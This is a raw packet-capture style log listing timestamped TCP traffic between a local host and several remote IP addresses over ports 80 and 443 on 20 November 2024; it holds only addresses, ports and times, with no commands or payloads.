Nov 20, 2024 21:05:40.348591089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:40.348674059 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:40.352197886 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.352210045 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.352236986 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.352278948 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.352307081 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.352364063 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.352364063 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.362126112 CET	49781	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:40.362168074 CET	443	49781	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:40.362226009 CET	49781	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:40.362709045 CET	49781	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:40.362724066 CET	443	49781	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:40.378873110 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:40.379018068 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:40.397073984 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.397118092 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.397150993 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.397172928 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.397226095 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.397624969 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.397655010 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.499058962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:40.499479055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:40.499492884 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:40.499536037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:40.840120077 CET	443	49768	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:40.840293884 CET	49768	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:40.930551052 CET	49768	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:40.930594921 CET	443	49768	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:40.931005955 CET	443	49768	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:40.932990074 CET	49768	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:40.933073997 CET	49768	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:40.933099985 CET	443	49768	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:41.067908049 CET	49786	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:41.067929029 CET	443	49786	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:41.067986012 CET	49786	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:41.068353891 CET	49787	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.068392038 CET	443	49787	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.068470955 CET	49787	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.069005013 CET	49786	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:41.069015980 CET	443	49786	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:41.069139004 CET	49787	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.069154024 CET	443	49787	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.082935095 CET	49788	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.083024025 CET	443	49788	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.083108902 CET	49788	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.083832026 CET	49788	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.083863974 CET	443	49788	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.640326977 CET	49786	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:41.645309925 CET	49790	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:41.645356894 CET	443	49790	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:41.645431042 CET	49790	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:41.646059990 CET	49790	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:41.646073103 CET	443	49790	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:41.646155119 CET	49787	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.646465063 CET	49781	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:41.646831036 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:41.646843910 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:41.646903992 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:41.647038937 CET	49793	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.647051096 CET	443	49793	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.647098064 CET	49793	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.647694111 CET	49788	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.647962093 CET	49797	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.647995949 CET	443	49797	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.648132086 CET	49797	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.648338079 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:41.648348093 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:41.648446083 CET	49793	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.648456097 CET	443	49793	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.648823977 CET	49797	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.648839951 CET	443	49797	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.673168898 CET	443	49768	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:41.673269033 CET	443	49768	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:41.673335075 CET	49768	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:41.674218893 CET	49768	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:41.674242973 CET	443	49768	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:41.687341928 CET	443	49786	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:41.691323996 CET	443	49787	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.691325903 CET	443	49781	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:41.691382885 CET	443	49788	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.696091890 CET	49798	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:41.696119070 CET	443	49798	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:41.696209908 CET	49798	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:41.696501017 CET	49798	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:41.696513891 CET	443	49798	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:41.739775896 CET	49799	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.739859104 CET	443	49799	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.739940882 CET	49799	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.741019964 CET	49800	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:41.741059065 CET	443	49800	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:41.741241932 CET	49799	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.741255045 CET	49800	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:41.741276979 CET	443	49799	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.742444992 CET	49800	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:41.742461920 CET	443	49800	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:41.744775057 CET	49801	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:41.744873047 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:41.745084047 CET	49801	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:41.745292902 CET	49801	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:41.745316982 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:41.899576902 CET	49802	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.899629116 CET	443	49802	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.899701118 CET	49802	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.900609016 CET	49802	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:41.900638103 CET	443	49802	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:41.991997957 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:41.992671013 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:41.994400024 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:41.994453907 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:41.995717049 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:41.995740891 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:41.996434927 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:41.997128010 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:41.997137070 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:41.997668028 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:41.997695923 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:41.999576092 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:41.999607086 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.003106117 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.003112078 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.012043953 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.012356043 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.012383938 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.012741089 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.012747049 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.098417044 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.105268002 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.105303049 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.106004000 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.106010914 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.220603943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:42.220665932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:42.247425079 CET	443	49781	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:42.247545958 CET	443	49781	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:42.247644901 CET	49781	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:42.247646093 CET	49781	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:42.333369970 CET	443	49786	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:42.333457947 CET	49786	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:42.342267990 CET	443	49787	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.342346907 CET	49787	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.363651037 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:42.392648935 CET	443	49788	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.392771006 CET	49788	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.440063000 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.440129042 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.440366983 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.440443039 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.440443039 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.440488100 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.440520048 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.443689108 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.443766117 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.444045067 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.444209099 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.444243908 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.457672119 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.457745075 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.457808018 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.458005905 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.458024979 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.458041906 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.458048105 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.461083889 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.461132050 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.461309910 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.461499929 CET	49805	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.461524963 CET	443	49805	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.468858004 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.468920946 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.469002008 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.469755888 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.469763994 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.472790956 CET	49806	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.472855091 CET	443	49806	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.472932100 CET	49806	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.473118067 CET	49806	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.473145008 CET	443	49806	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.483361006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:42.486067057 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.486253023 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.486318111 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.486363888 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.486363888 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.486388922 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.486409903 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.488668919 CET	49807	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.488730907 CET	443	49807	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.488926888 CET	49807	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.489072084 CET	49807	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.489101887 CET	443	49807	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.560683966 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.560770035 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.560861111 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.561178923 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.561240911 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.561252117 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.561274052 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.566138029 CET	49808	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.566212893 CET	443	49808	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.566340923 CET	49808	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.566540003 CET	49808	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:42.566569090 CET	443	49808	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:42.662760019 CET	49817	443	192.168.2.7	18.165.220.66
Nov 20, 2024 21:05:42.662770033 CET	443	49817	18.165.220.66	192.168.2.7
Nov 20, 2024 21:05:42.662931919 CET	49817	443	192.168.2.7	18.165.220.66
Nov 20, 2024 21:05:42.663605928 CET	49817	443	192.168.2.7	18.165.220.66
Nov 20, 2024 21:05:42.663621902 CET	443	49817	18.165.220.66	192.168.2.7
Nov 20, 2024 21:05:42.869424105 CET	443	49797	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.870369911 CET	49797	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.870404959 CET	443	49797	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.871453047 CET	443	49797	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.871510983 CET	49797	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.873298883 CET	49797	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.873367071 CET	443	49797	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.873642921 CET	49797	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.873653889 CET	443	49797	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.905846119 CET	443	49793	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.906366110 CET	49793	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.906387091 CET	443	49793	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.907402992 CET	443	49793	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.907457113 CET	49793	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.908400059 CET	49793	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.908457041 CET	443	49793	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.908643961 CET	49793	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.908649921 CET	443	49793	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.954956055 CET	443	49790	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:42.955816031 CET	49790	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:42.955833912 CET	443	49790	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:42.959085941 CET	443	49790	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:42.959172010 CET	49790	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:42.966300964 CET	49790	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:42.966420889 CET	443	49790	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:42.966530085 CET	49790	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:42.966552019 CET	443	49790	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:42.969686985 CET	443	49799	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.970279932 CET	49799	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.970313072 CET	443	49799	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.971760988 CET	443	49799	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.971822977 CET	49799	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.972182989 CET	49799	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.972263098 CET	443	49799	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:42.972317934 CET	49799	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:42.995609999 CET	49793	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.000792027 CET	443	49800	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.001172066 CET	49800	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.001180887 CET	443	49800	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.002628088 CET	443	49800	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.002749920 CET	49800	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.003281116 CET	49800	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.003407001 CET	443	49800	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.003545046 CET	49800	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.003555059 CET	443	49800	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.015342951 CET	443	49799	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.048075914 CET	49797	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.048276901 CET	49790	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.110284090 CET	443	49802	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.111227989 CET	49802	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.111259937 CET	443	49802	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.111943007 CET	49821	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.112005949 CET	443	49821	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.112119913 CET	49821	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.112390995 CET	49821	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.112410069 CET	443	49821	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.112718105 CET	443	49802	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.112776041 CET	49802	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.113212109 CET	49802	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.113291979 CET	443	49802	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.113360882 CET	49802	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.113365889 CET	443	49802	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.126651049 CET	49799	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.126712084 CET	443	49799	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.126847982 CET	49800	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.171417952 CET	49822	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.171526909 CET	443	49822	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.171633005 CET	49822	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.172142029 CET	49822	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.172173023 CET	443	49822	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.233066082 CET	49802	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.233541012 CET	49799	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.306127071 CET	443	49797	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.306200981 CET	443	49797	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.306303024 CET	49797	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.307691097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:43.308325052 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:43.308458090 CET	49797	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.308501959 CET	443	49797	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.348866940 CET	443	49793	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.348948956 CET	443	49793	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.349016905 CET	49793	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.349320889 CET	49793	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.349335909 CET	443	49793	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.385292053 CET	49802	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.385440111 CET	443	49802	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.385514021 CET	49802	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.409250021 CET	443	49799	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.409434080 CET	443	49799	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.409580946 CET	443	49790	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.409606934 CET	49799	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.409667015 CET	443	49790	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.409728050 CET	49799	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:43.409751892 CET	443	49799	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:43.409754992 CET	49790	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.410010099 CET	49790	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.410033941 CET	443	49790	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.445316076 CET	443	49800	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.445403099 CET	443	49800	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.445677996 CET	49800	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.446192980 CET	49800	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:43.446208000 CET	443	49800	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:43.534291983 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:43.534802914 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:43.534840107 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:43.535427094 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:43.535446882 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:43.535502911 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:43.535520077 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:43.535562992 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:43.535573006 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:43.536444902 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:43.537652016 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:43.537775993 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:43.537867069 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:43.583347082 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:43.604516983 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:43.605228901 CET	49801	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:43.605324030 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:43.613125086 CET	49801	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:43.613156080 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:43.613264084 CET	49801	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:43.613280058 CET	443	49801	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:43.658581972 CET	49792	443	192.168.2.7	172.217.19.225
Nov 20, 2024 21:05:43.658637047 CET	443	49792	172.217.19.225	192.168.2.7
Nov 20, 2024 21:05:43.672712088 CET	443	49798	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:43.672811031 CET	49798	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:43.710448027 CET	49798	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:43.710464001 CET	443	49798	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:43.710858107 CET	443	49798	40.126.53.18	192.168.2.7
